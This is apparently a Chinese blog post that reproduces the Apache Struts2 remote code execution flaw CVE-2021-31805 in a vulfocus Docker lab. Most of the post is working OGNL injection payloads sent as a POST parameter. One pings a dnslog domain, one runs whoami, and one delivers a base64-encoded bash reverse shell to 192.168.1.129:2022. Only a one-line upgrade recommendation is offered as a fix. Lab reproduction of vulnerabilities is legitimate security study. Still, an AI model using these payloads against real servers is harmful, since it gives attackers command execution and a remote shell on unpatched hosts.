• CVE-2021-31805_Struts2-062远程代码执行漏洞复现


    1 漏洞信息

    漏洞名称远程代码执行漏洞
    漏洞编号CVE-2021-31805
    危害等级高危
    CVSS评分8.5
    漏洞类型中间件漏洞
    漏洞厂商Apache
    漏洞组件Struts2
    受影响版本2.0.0 <= Struts2 <= 2.5.29
    漏洞概述该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id)的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload}即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。

    2 环境搭建

    2.1 环境概述

    • Linux操作系统

    2.2 搭建过程

    拉取镜像

    docker pull vulfocus/structs2-cve2021_31805
    
    • 1

    {width=“5.7625in”
    height=“2.5972222222222223in”}

    运行

    docker ruun -d -p 80:8080 vulfocus/structs2-cve2021_31805
    
    • 1

    {width=“5.761111111111111in”
    height=“0.22361111111111112in”}

    访问

    image-20220705140552099

    3 漏洞复现

    使用dnslog生成一条子域名

    {width=“4.166666666666667in”
    height=“2.816666666666667in”}

    访问漏洞url并且抓包

    {width=“4.708333333333333in”
    height=“2.1666666666666665in”}

    更改请求方法为POST方式,并且把参数修改为恶意payload

    name=name
    =(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2htngs.dnslog.cn'}))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    {width=“5.759027777777778in”
    height=“2.6756944444444444in”}

    返回dnslog查看,发现成功ping到了,说明存在该漏洞

    {width=“5.759722222222222in”
    height=“2.8604166666666666in”}

    构造恶意payload,查看whomai信息

    name=name
    =(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    {width=“5.763194444444444in”
    height=“2.772222222222222in”}

    对要生成的反弹shell命令进行bash编码

    bash -i >& /dev/tcp/192.168.1.129/2022 0>&1
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ==}|{base64,-d}|{bash,-i}
    
    bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    {width=“5.763194444444444in”
    height=“2.05625in”}

    将编码后的payload加入加入到exec参数中

    name=name
    =(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
    (%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
    (%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}'}))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    {width=“5.763194444444444in”
    height=“2.1465277777777776in”}

    反弹成功

    {width=“5.091666666666667in”
    height=“1.3583333333333334in”}

    4 修复建议

    1、推荐的解决方案:升级至比Struts 2.5.29更高版本。

  • 相关阅读:
    19.vue渲染系统的实现
    计算机毕设(附源码)JAVA-SSM基于渐进式网页应用的大众社交软件
    内存与IO访问原理
    三万字带你了解那些年面过的Java八股文
    常见的设计模式(一)单例和工厂设计模式
    Ubuntu 20.04怎么编译AutoWare源码
    Sklearn 聚类算法的性能评估
    如何设计实现系统应支持至少300个并行用户的同时访问和使用的需求
    解决 requests 2.28.x 版本 SSL 错误
    uniapp 实现富文本编辑器【小程序端】
  • 原文地址:https://blog.csdn.net/weixin_45715461/article/details/125618853